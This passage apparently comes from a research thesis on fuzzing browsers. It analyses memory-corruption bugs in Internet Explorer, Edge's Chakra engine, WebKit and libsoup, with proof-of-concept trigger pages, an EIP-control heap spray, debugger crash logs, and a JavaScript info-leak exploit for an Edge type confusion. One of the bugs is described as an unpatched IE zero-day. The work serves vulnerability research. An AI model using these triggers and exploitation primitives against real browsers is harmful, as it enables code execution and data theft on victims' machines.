13     pressure();
14     CollectGarbage();
15     pressure();
16     document.getElementById("3").insertRow(n);
17
18     document.getElementById("3").deleteRow(n);
```

LISTING 5.5: trigger of CVE-2017-8547

5.2.1.1 exploitation

Since the program treats the Out-Of-Bound read as an object, We can forge the object with a forged virtual table. In this way, we can control the EIP if the program calls any virtual function of that Object.

```
1     for(var i = 0; i<0x5000 ; i++)
2     {
3         divs[divCounter] = Int32Array(bsize);
4         for(var j = 0; j<bsize ; j+=20)
5         {
6             //forge an TableRowBlock Object
7             divs[divCounter][j] = 0x49494949;
8             divs[divCounter][j+1] = 0x00000001;
9             divs[divCounter][j+2] = 0x49494949;
10            divs[divCounter][j+3] = 0x00000001;
11            divs[divCounter][j+4] = 0x49494949;
12            divs[divCounter][j+5] = 0x00000001;
13            divs[divCounter][j+6] = 0x49494949;
14            divs[divCounter][j+7] = 0x00000001;
15            divs[divCounter][j+8] = 0x49494949;
16            divs[divCounter][j+9] = 0x00000001;
17
18            divs[divCounter][j+10] = 0x00000001;
19            divs[divCounter][j+11] = 0x49494949;
20            divs[divCounter][j+12] = 0x00000001;
21            divs[divCounter][j+13] = 0x49494949;
22            divs[divCounter][j+14] = 0x00000001;
23            divs[divCounter][j+15] = 0x49494949;
```



```

24         divs[divCounter][j+16] = 0x00000001;
25         divs[divCounter][j+17] = 0x49494949;
26         divs[divCounter][j+18] = 0x00000001;
27         divs[divCounter][j+19] = 0x49494949;
28     }
29     divCounter += 1;
30 }

```

LISTING 5.6: heap spray code of CVE-2017-8547

We used an Int32Array Object to forged the TableRowBlock Object and spraying the heap with a for loop, The heap spraying code in JavaScript is shown in listing 5.6. With the correct placement of values in a forged object, we will be able to control the Object and eventually control EIP, the listing 5.7 shown the crash when EIP is controlled using heap spray

```

eax=00000000 ebx=245ffa68 ecx=6cfd09a4 edx=00020000 esi=6cfd09a4 edi=2467f3e0
eip=5e9bce93 esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x18:
5e9bce93 8b06          mov     eax,dword ptr [esi]  ds:0023:6cfd09a4=49494949
1:018> p
eax=49494949 ebx=245ffa68 ecx=6cfd09a4 edx=00020000 esi=6cfd09a4 edi=2467f3e0
eip=5e9bce95 esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x1a:
5e9bce95 8bdc          mov     ebx,esp
1:018> p
eax=49494949 ebx=0316b7c4 ecx=6cfd09a4 edx=00020000 esi=6cfd09a4 edi=2467f3e0
eip=5e9bce97 esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x1c:
5e9bce97 8b7804        mov     edi,dword ptr [eax+4] ds:0023:4949494d=01494949
1:018> p
eax=49494949 ebx=0316b7c4 ecx=6cfd09a4 edx=00020000 esi=6cfd09a4 edi=01494949
eip=5e9bce9a esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x1f:
5e9bce9a 8bcf          mov     ecx,edi
1:018> p
eax=49494949 ebx=0316b7c4 ecx=01494949 edx=00020000 esi=6cfd09a4 edi=01494949
eip=5e9bce9c esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x21:
5e9bce9c ff1534afa15f  call    dword ptr [MSHTML!_guard_check_icall_fptr (5fa1af34)]
ds:0023:5fa1af34=5e984b50
1:018> p
eax=49494949 ebx=0316b7c4 ecx=01494949 edx=00020000 esi=6cfd09a4 edi=01494949
eip=5e9bcea2 esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x27:
5e9bcea2 8bce          mov     ecx,esi
1:018> p
eax=49494949 ebx=0316b7c4 ecx=6cfd09a4 edx=00020000 esi=6cfd09a4 edi=01494949
eip=5e9bcea4 esp=0316b7c4 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! System::SmartObject::Release+0x29:
5e9bcea4 ffd7          call    edi {01494949}
1:018> p
(fd0.514): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

```

```

This exception may be expected and handled.
eax=49494949 ebx=0316b7c4 ecx=6cfd09a4 edx=00020000 esi=6cfd09a4 edi=01494949
eip=01494949 esp=0316b7c0 ebp=0316b7d8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
01494949 ??             ???

```

LISTING 5.7: Control of EIP

5.2.2 CVE-2018-8643

CVE-2018-8643 is a remote code execution vulnerability in jscript JavaScript engine of Internet Explorer. The listing 5.8 shown a minimized POC of CVE-2018-8643.

```

1  <meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
2  <footer>
3  <script language="Jscript.Encode">
4  n = 0x10000
5  var vars = new Array(n);
6  function f8(arg7, arg8, arg9) {
7  }
8  vars[n-10] = f8;
9  vars[1000] = vars[0]+1
10 CollectGarbage();
11 </script>
12 </footer>

```

LISTING 5.8: heap spray code of CVE-2017-8547

It is also a memory pressure bug which is caused by a failed allocation shown in 5.9. Note that the allocation size is controllable in this cause. The allocation size is equal to the value of n. Therefore we can make the allocation large to simplify the pressurization process.

```

eax=00010000 ebx=00001fff ecx=00000003 edx=00000080 esi=06238e68 edi=00002000
eip=6a755671 esp=0431b60c ebp=0431b620 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
jscript!CGrowableArrayObject<CIndexedNameList::IndexedEntry>::CreateEntry+0xe7:
6a755671 ff15fc407c6a call dword ptr [jscript!_imp__malloc (6a7c40fc)]
ds:0023:6a7c40fc={msvcrt!malloc (76f39cee)}
1:019> p
eax=00000000 ebx=00001fff ecx=7ffd8000 edx=00000008 esi=06238e68 edi=00002000
eip=6a755677 esp=0431b60c ebp=0431b620 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!CGrowableArrayObject<CIndexedNameList::IndexedEntry>::CreateEntry+0xed:
6a755677 59 pop ecx
1:019> k
# ChildEBP RetAddr
00 0431b620 6a751d11 jscript!
CGrowableArrayObject<CIndexedNameList::IndexedEntry>::CreateEntry+0xed

```

```

01 0431b640 6a751e4e jscript!CIndexedNameList::GetVvalAtIndex+0x2d
02 0431b678 6a751de6 jscript!ArrayObj::SetValAtIndex+0x3d
03 0431b6d8 6a751f4f jscript!ArrayObj::SetVal+0x26
04 0431b714 6a74b6ca jscript!VAR::InvokeJSObj<unsigned long>+0x39
05 0431b738 6a74b4a6 jscript!VAR::InvokeByIndex+0x30
06 0431b7bc 6a751f83 jscript!VAR::InvokeByVar+0xcb
07 0431bba0 6a733f7f jscript!CScriptRuntime::Run+0x1d18
08 0431bc9c 6a733e03 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
09 0431bcf4 6a734ae7 jscript!ScrFncObj::Call+0x7b
0a 0431bd98 6a7432eb jscript!CSession::Execute+0x23d
0b 0431bde0 6a744d63 jscript!COleScript::ExecutePendingScripts+0x16b
0c 0431be5c 6a744b49 jscript!COleScript::ParseScriptTextCore+0x206
0d 0431be88 63fd28c4 jscript!COleScript::ParseScriptText+0x29

```

LISTING 5.9: failed allocation and its stack trace of CVE-2018-8643

We can see the allocation in listing 5.9 will cause a access violation in 5.10. This crash is triggered when page heap is turned on. Page heap will mark uninitialized memory to c0c0c0c0 when it is been allocated.

```

(754.3fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=063eae00 ecx=c0c0c0c0 edx=0648ec10 esi=c0c0c0c0 edi=00000000
eip=6a76b8cb esp=043fb62c ebp=043fb638 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
jscript!CIndexedNameList::ScavengeRoots+0x4f:
6a76b8cb 0fb706      movzx     eax,word ptr [esi]          ds:0023:c0c0c0c0=????

```

LISTING 5.10: crash of CVE-2018-8643

Since we can make the target fail allocation to be any size, We used the simple method in Chapter 4 to filled up the memory space before the allocation. The listing 5.11 shows the complete POC to trigger CVE-2018-8643 in page heap environment.

```

1  <meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
2  <footer>
3  <script language="Jscript.Encode">
4  var memory_pressure_array_holder = [];
5  var memory_pressure_index = 0;
6  var MAX_ARRAY_SIZE = 0x200000;
7
8  var memory_pressure_default_string = "A";
9  var memory_pressure_max_string_size = 0x8000000
10 while(memory_pressure_default_string.length<
    memory_pressure_max_string_size){
11     memory_pressure_default_string +=
    memory_pressure_default_string ;
12 }

```

```

13
14 function jscript9_pressure(desired_pressure_size){
15     pressure_size = MAX_ARRAY_SIZE;
16     while (pressure_size > desired_pressure_size) {
17         try{
18             memory_pressure_array_holder[
19 memory_pressure_index] =
20 memory_pressure_default_string.substring(0,
21 pressure_size);
22             memory_pressure_index++;
23         }catch(e){
24             pressure_size = pressure_size/2;
25         }
26     }
27 }
28
29 n = 0x10000
30 var vars = new Array(n);
31 function f8(arg7, arg8, arg9) {
32 }
33 jscript9_pressure(0x1000)
34 vars[n-10] = f8;
35 vars[1000] = vars[0]+1
36 CollectGarbage();
37 </script>
38 </footer>

```

LISTING 5.11: a complete POC of CVE-2018-8643

5.2.3 An Internet Explorer Zero Day

This is still a zero-day vulnerability. It is a memory pressure vulnerability caused by a failed allocation. The failure of the allocation will eventually lead to a buffer underread. The listing 5.12 shows the crash for this vulnerability. This crash is triggered by the failure of allocation shown in listing 5.13

```

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=09820000 ebx=00000001 ecx=ffffffff edx=06407070 esi=06407010 edi=06404028

```

```
eip=61c6039e esp=03e6b6d8 ebp=03e6b748 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
MSHTML! Layout::LineBox::AllocateAndInstantiateLineBox+0x8cc:
61c6039e 8b0488          mov     eax,dword ptr [eax+ecx*4]  ds:0023:0981fffc=????????
```

LISTING 5.12: The crash

Breakpoint 2 hit

```
eax=00000000 ebx=56c9d000 ecx=004b0000 edx=00000016 esi=00000310 edi=00000041
eip=5723bbd5 esp=0311b6e8 ebp=0311b6f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! Layout::LineBoxBuilder::NewPtr+0x1e:
5723bbd5 e93f14a6ff      jmp     MSHTML! Layout::LineBoxBuilder::NewPtr+0x1e (56c9d019)
1:018> ub
MSHTML! CMarkup::NewTextPosInternal+0x4c:
5723bbb2 ff750c          push    dword ptr [ebp+0Ch]
5723bbb5 e88f8f2700      call    MSHTML! CTreeDataPos::DefineWhiteSpaceTypeFromText (574
b4b49)
5723bbba e9f222a9ff      jmp     MSHTML! CMarkup::NewTextPosInternal+0x54 (56ccdeb1)
5723bbbf 814e2800000020 or        dword ptr [esi+28h],20000000h
5723bbcc ebb9            jmp     MSHTML! CMarkup::NewTextPosInternal+0x1f (5723bb81)
5723bbce 8b0dd000d057    mov     ecx,dword ptr [MSHTML! g_hProcessHeap (57d000d0)]
5723bbcf 8bd6            mov     edx,esi
5723bbd0 e8c8902700      call    MSHTML! MemoryProtection::HeapAlloc<0> (574b4c9d) <=====
ALLOCATION IS FAILED DUE TO OOM
1:018> k 10
# ChildEBP RetAddr
00 0311b6f0 56f4f534 MSHTML! Layout::LineBoxBuilder::NewPtr+0x1e
01 0311b710 56f4fa37 MSHTML! Ptls6::LsFillBreakRecordSubline+0xa7
02 0311b790 56eed6a3 MSHTML! Ptls6::LsCreateBreakRecordSublineFragment+0x2c4
03 0311b880 56d9a0d5 MSHTML! Ptls6::BreakLineOptimal+0xf1a
04 0311b8d8 56c9b179 MSHTML! Ptls6::LsBreakGeneralCase+0xd0
05 0311baf4 56ca7d98 MSHTML! Ptls6::LsCreateLineCore+0x4e8
06 0311bb24 56ca7915 MSHTML! Ptls6::LsCreateLine+0x2a
07 0311bd48 56ca8986 MSHTML! Layout::LineBoxBuilder::CreateLineWithLineServices+0x16b
08 0311bdc8 56ca8a52 MSHTML! Layout::LineBoxBuilder::CreateLineForFlow+0x2b0
09 0311c004 56c5168b MSHTML! Layout::FlowBoxBuilder::BuildLine+0x402
0a 0311c0f0 57084c1a MSHTML! Layout::FlowBoxBuilder::BuildBoxItem+0x89
0b 0311c10c 57084be5 MSHTML! Layout::LayoutBuilder::BuildBoxItem+0x2e
0c 0311c11c 572bd4db MSHTML! Layout::LayoutBuilder::Move+0x57
0d 0311c170 56c4bd2a MSHTML! Layout::LayoutBuilderDriver::BuildPageLayout+0x12f
0e 0311c234 572324a4 MSHTML! Layout::PageCollection::FormatPage+0x167
0f 0311c33c 56c49503 MSHTML! Layout::PageCollection::LayoutPagesCore+0x2c3
```

LISTING 5.13: The failed allocation

The out of bound read object is an object reside in memGC heap of Internet explorer. The size of out of bound object is correlated with the size of the failed allocation object. There are 3 types of allocation thunks in memGC, the small allocation thunk, medium allocation thunk and large allocation thunk. A large allocation thunk will have metadata at the beginning of each chunk. Therefore if the out of bound object is too large it will only read the metadata and its value is always fixed at 0x808 which is a near null value and will eventually cause a non-exploitable null pointer deference bug. Hence the size of out-of-bound read object must be limited to medium object in order to make this bug exploitable. Listing 5.14 shows the JavaScript code to trigger the bug and the full POC is listed in Appendix A

```
1  var n = 0x31c; //31c is the num that change the allocation
    from large to medium
2  var string = "<h4></h4>"
3
4
5  function trigger(){
6      CollectGarbage();
7      process_heap_pressure(n*2);
8      CollectGarbage();
9      process_heap_pressure(n*2);
10     CollectGarbage();
11     process_heap_pressure(n*2);
12     CollectGarbage();
13     process_heap_pressure(n*2);
14     CollectGarbage();
15     process_heap_pressure(n*2);
16     CollectGarbage();
17     process_heap_pressure(n*2);
18     CollectGarbage();
19     process_heap_pressure(n*2);
20     var element = document.getElementById(1)
21     element.appendChild(document.createElement("shadow"))
22 }
23 function main(){
24     for (i = 0; i < n; i ++) {
25         string = string + "<shadow>";
26     }
27     string = string + "<shadow id = 1>"
28     string = string + "<svg></svg><video>"
29     document.body.innerHTML = string;
30     setTimeout(trigger,3000)
31 }
```

LISTING 5.14: the POC of the IE zero-day

5.3 Other Vulnerability

5.3.1 CVE-2018-12910

CVE-2018-12910 is a libsoup heap buffer overflow discovered during fuzzing of WebKit GTK in Linux. libsoup is an open-source library for HTTP server and client in GNOME, it is used in WebKit GTK for HTTP related functionalities. The listing 5.15 shows the crash caused by CVE-2018-12910.

```

==11476==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x9728a192 at pc 0
x080d1dbc bp 0xbf87e5a8 sp 0xbf87e180
READ of size 1 at 0x9728a192 thread T0
#0 0x80d1dbb in __interceptor_strchr.part.32 /home/yuhaiwan/src/llvm/projects/
compiler-rt/lib/asan/./sanitizer_common/sanitizer_common_interceptors.inc:673
#1 0x9c0c236e in get_cookies /home/yuhaiwan/src/libsoup/libsoup/soup-cookie-jar.c:342
#2 0x9c0c25eb in soup_cookie_jar_get_cookie_list /home/yuhaiwan/src/libsoup/libsoup/
soup-cookie-jar.c:433
#3 0xb03f2bb9 in WebCore::setCookiesFromDOM(WebCore::NetworkStorageSession const&,
WebCore::URL const&, WebCore::URL const&, std::optional<unsigned long long>,
std::optional<unsigned long long>, WTF::String const&) /home/yuhaiwan/src/WebKit/
WebKitBuild/Debug/./././Source/WebKit/platform/network/soup/CookieJarSoup.cpp:63:31
#4 0xa9534a00 in WebKit::NetworkConnectionToWebProcess::setCookiesFromDOM(
PAL::SessionID, WebCore::URL const&, WebCore::URL const&, std::optional<unsigned long
long>, std::optional<unsigned long long>, WTF::String const&) /home/yuhaiwan/src/
WebKit/WebKitBuild/Debug/./././Source/WebKit/NetworkProcess/
NetworkConnectionToWebProcess.cpp:366:5

```

LISTING 5.15: The crash caused by CVE-2018-12910

The listing 5.16 shows the POC of CVE-2018-12910. It can be triggered if the POC is running in a local directory.

```

1 <head>
2 <script>
3 window.alert(document.cookie)
4 </script>
5 </head>

```

LISTING 5.16: a complete POC of CVE-2018-12910

If we look closer at source code of `get_cookies` function shown in Listing 5.17. The root cause of this vulnerability is that the programmer writing the code does not expect `uri->host` will be an empty string. At line 4 the `next_domain` points to the string terminator before the while loop. However, at line 24 we can see that `cur` is also pointing the same location as `next_domain` did and the new `next_domain` will be the next occurrence of `"."` after the string terminator. This will cause an out of bound read vulnerability because `cur+1` will be an out of bound pointer. An

attacker may forge a new string behind the uri->host string and will be able to get cookies of any domain he wanted by writing the domain in a forged string.

```

1 |
2 | //soup-cookie-jar.c line 318
3 |     domain = cur = g_strdup_printf (".%s", uri->host); // <===== this bug only happens
   |     when uri->host is an empty string
4 |     next_domain = domain + 1; // <===== this points to the string terminator:
5 |     do {
6 |         new_head = domain_cookies = g_hash_table_lookup (priv->domains, cur);
7 |         while (domain_cookies) {
8 |             GSList *next = domain_cookies->next;
9 |             SoupCookie *cookie = domain_cookies->data;
10 |
11 |             if (cookie->expires && soup_date_is_past (cookie->expires)) {
12 |                 cookies_to_remove = g_slist_append (cookies_to_remove,
13 |                 cookie);
14 |                 new_head = g_slist_delete_link (new_head, domain_cookies);
15 |                 g_hash_table_insert (priv->domains,
16 |                 g_strdup (cur),
17 |                 new_head);
18 |             } else if (soup_cookie_applies_to_uri (cookie, uri) &&
19 |             (for_http || !cookie->http_only))
20 |                 cookies = g_slist_append (cookies, copy_cookies ? soup_cookie_copy (cookie
   |                 ) : cookie);
21 |
22 |                 domain_cookies = next;
23 |             }
24 |             cur = next_domain;
25 |             if (cur)
26 |                 next_domain = strchr (cur + 1, '.'); // <===== cur+1 will be an oob pointer
   |                 :
27 |         } while (cur);

```

LISTING 5.17: source code of crash location

5.3.2 CVE-2018-12911

CVE-2018-12911 is a heap out of bound write vulnerability for WebKit GTK. This bug can be triggered by requesting a mime file from the server. The Listing 5.18 shows the crash stack trace when out of bound write happens.

```

==4685==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x97288d75 at pc 0
xb256092a bp 0xbf95f018 sp 0xbf95f00c
WRITE of size 1 at 0x97288d75 thread T0
#0 0xb2560929 in get_simple_globs /home/yuhaiwan/src/WebKit/WebKitBuild/Debug/../../
Source/ThirdParty/xdgmime/src/xdgmimecache.c:1052:26
#1 0xb2560c8a in get_simple_globs /home/yuhaiwan/src/WebKit/WebKitBuild/Debug/../../
Source/ThirdParty/xdgmime/src/xdgmimecache.c:1065:12
#2 0xb2560c8a in get_simple_globs /home/yuhaiwan/src/WebKit/WebKitBuild/Debug/../../
Source/ThirdParty/xdgmime/src/xdgmimecache.c:1065:12
#3 0xb2560c8a in get_simple_globs /home/yuhaiwan/src/WebKit/WebKitBuild/Debug/../../
Source/ThirdParty/xdgmime/src/xdgmimecache.c:1065:12
#4 0xb2560c8a in get_simple_globs /home/yuhaiwan/src/WebKit/WebKitBuild/Debug/../../
Source/ThirdParty/xdgmime/src/xdgmimecache.c:1065:12
#5 0xb2560c8a in get_simple_globs /home/yuhaiwan/src/WebKit/WebKitBuild/Debug/../../
Source/ThirdParty/xdgmime/src/xdgmimecache.c:1065:12

```

LISTING 5.18: The crash caused by CVE-2018-12911

If we take a look at the source code in Listing 5.19. We can see that the allocation at line 3 allocation *depth* length of characters, while at line 6, it assigns string terminator to *depth*th character. This is an out of bound write because in C++ array a *n* size array can only have an entry from 0 to *n* - 1.

```

1
2     if (strcasemp (cache->buffer + mime_offset, mime)
3         == 0) {
4         globs[*n] = malloc (depth * sizeof (char));
5         <----- allocation
6         for (i = 0; i < depth; i++)
7             globs[*n][depth - i - 1] = prefix[i];
8         globs[*n][depth] = '\0'; <----- overflow
9     }

```

LISTING 5.19: source code in xdgminmecache.c

This bug is fixed in a patch released at Changeset 233404 in WebKit.

5.3.3 CVE-2018-4375

CVE-2018-4375 is a Use-After-Free bug on WebKit safari. The frame object of WebKit is used even when it is been freed. The program failed to validate the existence of the frame object before using the object. From listing 5.20 we can see that it is a Use-After-Free happens in `SetForScope` function. The Listing 5.21 shows the POC of CVE-2018-4375. This bug allows an attacker to achieve remote code execution on a victim's Safari Browser.

```

==90669==ERROR: AddressSanitizer: heap-use-after-free on address 0x6140000423b5 at pc 0
x0006e2be09b1 bp 0x7ffef86c030 sp 0x7ffef86c028
WRITE of size 1 at 0x6140000423b5 thread T0
==90669==WARNING: invalid path to external symbolizer!
==90669==WARNING: Failed to use and restart external symbolizer!
#0 0x6e2be09b0 in WTF::SetForScope<bool>::~~SetForScope() (/Users/haiwanyu/src/WebKit/
WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6c89b0)
#1 0x6e2bd5464 in WTF::SetForScope<bool>::~~SetForScope() (/Users/haiwanyu/src/WebKit/
WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6bd464)
#2 0x6e8b1c97e in WebCore::FrameLoader::loadDifferentDocumentItem(WebCore::HistoryItem
&, WebCore::FrameLoadType, WebCore::FrameLoader::FormSubmissionCacheLoadPolicy,
WebCore::ShouldTreatAsContinuingLoad) (/Users/haiwanyu/src/WebKit/WebKitBuild/Debug/
WebCore.framework/Versions/A/WebCore:x86_64+0x660497e)
#3 0x6e8b1a1e4 in WebCore::FrameLoader::loadURLIntoChildFrame(WebCore::URL const&,
WTF::String const&, WebCore::Frame*) (/Users/haiwanyu/src/WebKit/WebKitBuild/Debug/
WebCore.framework/Versions/A/WebCore:x86_64+0x66021e4)

```

```

0x6140000423b5 is located 373 bytes inside of 424-byte region [0x614000042240,0
x6140000423e8)
freed by thread T0 here:
#0 0x6e02d6132 in wrap__ZdlPv (/Applications/Xcode.app/Contents/Developer/Toolchains/
XcodeDefault.xctoolchain/usr/lib/clang/9.1.0/lib/darwin/
libclang_rt.asan.osx.dynamic.dylib:x86_64h+0x63132)
#1 0x6e9001ca4 in WTF::UniqueRef<WebCore::FrameLoader>::~UniqueRef() (/Users/haiwanyu/
src/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6ae9ca4)
#2 0x6e8f87fc4 in WTF::UniqueRef<WebCore::FrameLoader>::~UniqueRef() (/Users/haiwanyu/
src/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6a6ffc4)
#3 0x6e8f8777a in WebCore::Frame::~Frame() (/Users/haiwanyu/src/WebKit/WebKitBuild/
Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6a6f77a)
#4 0x6e8f88044 in WebCore::Frame::~Frame() (/Users/haiwanyu/src/WebKit/WebKitBuild/
Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6a70044)
#5 0x6e8f88068 in WebCore::Frame::~Frame() (/Users/haiwanyu/src/WebKit/WebKitBuild/
Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x6a70068)

```

LISTING 5.20: The crash caused by CVE-2018-4375

```

1 <head>
2 <script>
3
4
5
6 function eventhandler3() {
7
8
9 try { html15.appendChild(html50); } catch(e) { }
10
11 }
12
13 </script>
14 </head>
15 <body onload=jsfuzzer()>
16
17 <pre id="html15" dir="RTL" >
18 <style onload="eventhandler3()"></style>
19 <select multiple="multiple">
20 <optgroup >
21 </optgroup>
22 </select>
23 </pre>
24
25
26 <label >

```

```

27 <meter id="html50">
28 <iframe></iframe>
29 </label>
30
31 <title>-</title>

```

LISTING 5.21: POC for CVE-2018-4375 exploit

5.3.4 A Microsoft Edge Type Confusion Vulnerability

When we fuzz the Microsoft Edge Browser, we found a type confusion vulnerability in Edge's JavaScript engine `chakra.dll` that may lead to arbitrary read and write. From the crash in Listing 5.22, we can see that the version of `chakra.dll` is 11.00.14393.1480.

```

(133c.1878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakra!Js::TypedArray<unsigned int,0,1>::DirectSetItem+0x55:
00007ffb'14b74bb5 44890488      mov     dword ptr [rax+rcx*4],r8d ds:41414141'41414141=
????????
1:045> lm vm chakra
Browse full module list
start          end                module name
00007ffb'14b30000 00007ffb'152fb000  chakra (pdb symbols) C:\ProgramData\dbg
\sym\chakra.pdb\56AC01A127E74E5CADA56BF11AD5B61C1\chakra.pdb
Loaded symbol image file: C:\Windows\SYSTEM32\chakra.dll
Image path: C:\Windows\SYSTEM32\chakra.dll
Image name: chakra.dll
Browse all global symbols functions data
Timestamp:      Thu Jul 6 23:27:52 2017 (595F29E8)
Checksum:       007C35AA
ImageSize:      007CB000
File version:   11.0.14393.1480
Product version: 11.0.14393.1480
File flags:     0 (Mask 3F)
File OS:        40004 NT Win32
File type:      2.0 Dll
File date:      00000000.00000000
Translations:   0409.04b0
CompanyName:    Microsoft Corporation
ProductName:     Internet Explorer
InternalName:    chakra.dll
OriginalFilename: chakra.dll
ProductVersion:  11.00.14393.1480
FileVersion:     11.00.14393.1480 (rs1_release.170706-2004)
FileDescription: Microsoft Chakra (Private)
LegalCopyright:  Microsoft Corporation. All rights reserved.

```

LISTING 5.22: The crash shows an arbitrary write vulnerability

Chakra is known to have many type confusion bugs in its JavaScript Array implementation. This is majorly caused by its JavaScript Array structure. JavaScript Array in Chakra stores their values in a list of linked segments. The JavaScript

Array will store the pointer points to the head segment and every segment will have a pointer points to the next segment. All segments will have properties indicate its location and size in the JavaScript Array. Other than the head segment, the JavaScript Array also stores a pointer point to the last used segment. When the user accesses the JavaScript Array, it will always check whether the operation is in the last used segment before traverse through the linked list from the head segment.

There are also many array types for JavaScript Array implementation in Chakra. If a JavaScript Array only contains Integer value, Chakra will use a NativeIntArray to represent it. If the JavaScript Array contains some float values, it will be a NativeFloatArray. And if the JavaScript array contains an object or any kind of pointer value, it will be a NativeVarArray. Segments in a different type of JavaScript Array stores different type of values. NativeVarArray segments stores 8 bytes length pointers and NativeIntArray segments stores 4 bytes integer value. This design might be optimized for implementation however it is vulnerable to type confusion vulnerability. Segments will not be informed when its JavaScript Array changed type. If a NativeVarArray access a Segments stores values for NativeIntArray, it will treat integers in the segment as object pointer and may lead to memory corruption or information leak.

The bug we found is a type confusion bug caused by Array reverse operation. If a NativeIntArray has 2 segments, where the head segment is an empty segment and the next segment is a non-empty segment. The reverse process will make the NativeIntArray left with only the non-empty segment, and it will be a new head segment and it will not have the next segment. However, the previous head segment will be the last used segment of the NativeIntArray. This will cause a problem when NativeIntArray is been converted to a NativeVarArray. Because in the conversion process, it will only convert the segments on the linked list from the head segment, it will not convert the last used segment. This makes the previous head segment remains an integer segment, while its the last used segment of a NativeVarArray. Although the segment is empty, which only means its length is 0, its size is still 0x12. so we can cause an out of bound write to this segment by writing after 9th entry of the segment. Because an integer value only takes 4 bytes in memory while a var object will be a pointer that takes 8 bytes.

The listing [5.23](#) shows part of the structure of an array segment in Chakra.

```

.text:000000018000688F 48 88 CB      mov     rcx, rbx
.text:00000001800068C2 E8 10 64 1B 00 call    ?InvalidateLastUsedSegment@JavascriptArray@Js@GAEAXXZ ; Js::JavascriptArray::InvalidateLastUsedSegment(void)
.text:00000001800068C7 4C 89 43 28      mov     [rbx+28h], r8

```

FIGURE 5.1: The root cause binary code in Array.reverse

Note that it has 2 variable length which is used to determine if it is empty in array.reverse and size which is its actual size in the memory.

```

1 namespace Js
2 {
3     class SparseArraySegmentBase
4     {
5     public:
6         static const uint32 MaxLength;
7
8         Field(uint32) left; // TODO: (leish)(swb) this
           can easily be recycler false positive on x86, or on
           x64 if combine with length field
9
           // find a way to either tag
           this or find a better solution
10        Field(uint32) length; //we use length instead of
           right so that we can denote a segment is empty
11        Field(uint32) size;
12        Field(SparseArraySegmentBase*) next;

```

LISTING 5.23: chakra source code of SparseArraySegmentBase

The interesting fact about this bug is it is not a bug that can be found by reading source code. The root cause of this bug is shown in 5.1. After we check-out the source code on github When we compare the binary code with the source code shown in listing 5.24, we realized they are different, the binary code execute [rbx+28h] after the InvalidateLastUsedSegment function call while the source code indicate the pArr->head = prevSeg should be executed before InvalidateLastUsedSegment function call. The actual cause of this error is still unknown, it may be due to a mistake of when updating the new commit or a compiler error caused by a compiler optimization.

```

1         pArr->head = prevSeg;
2         pArr->InvalidateLastUsedSegment(); //
           lastUsedSegment might be 0-length and discarded above

```

LISTING 5.24: chakra source code of Array.

With an arbitrary read and write, we can easily do an info leak exploit using JavaScript. The listing 5.25 shows the POC of info leak exploit.

```
1 <html><body onload='main();'>
2 <head>
3 <script>
4
5 var global_variable0 = new Array(867)
6
7 var global_variable1 = new Uint32Array([1,2,3,4,5,6])
8 function main(){
9
10 global_variable0[0]=-7
11
12 global_variable0.reverse()
13 var function_array_variable1 = [[],main]
14 global_variable0.reverse()
15
16 global_variable0[14] = global_variable1
17 function_array_variable1[4] = global_variable1
18
19 //following code leak the address of chakra!Js::
   TypedArray<unsigned int,0,0>::'vtable'
20 number = global_variable0[14][0] + global_variable0
   [14][1] * 0x100000000
21 hexString = number.toString(16);
22 window.alert(hexString)
23 }</script>
24 </head>
25 <meta/>
26 </body></html>
```

LISTING 5.25: POC for Edge Info Leak exploit

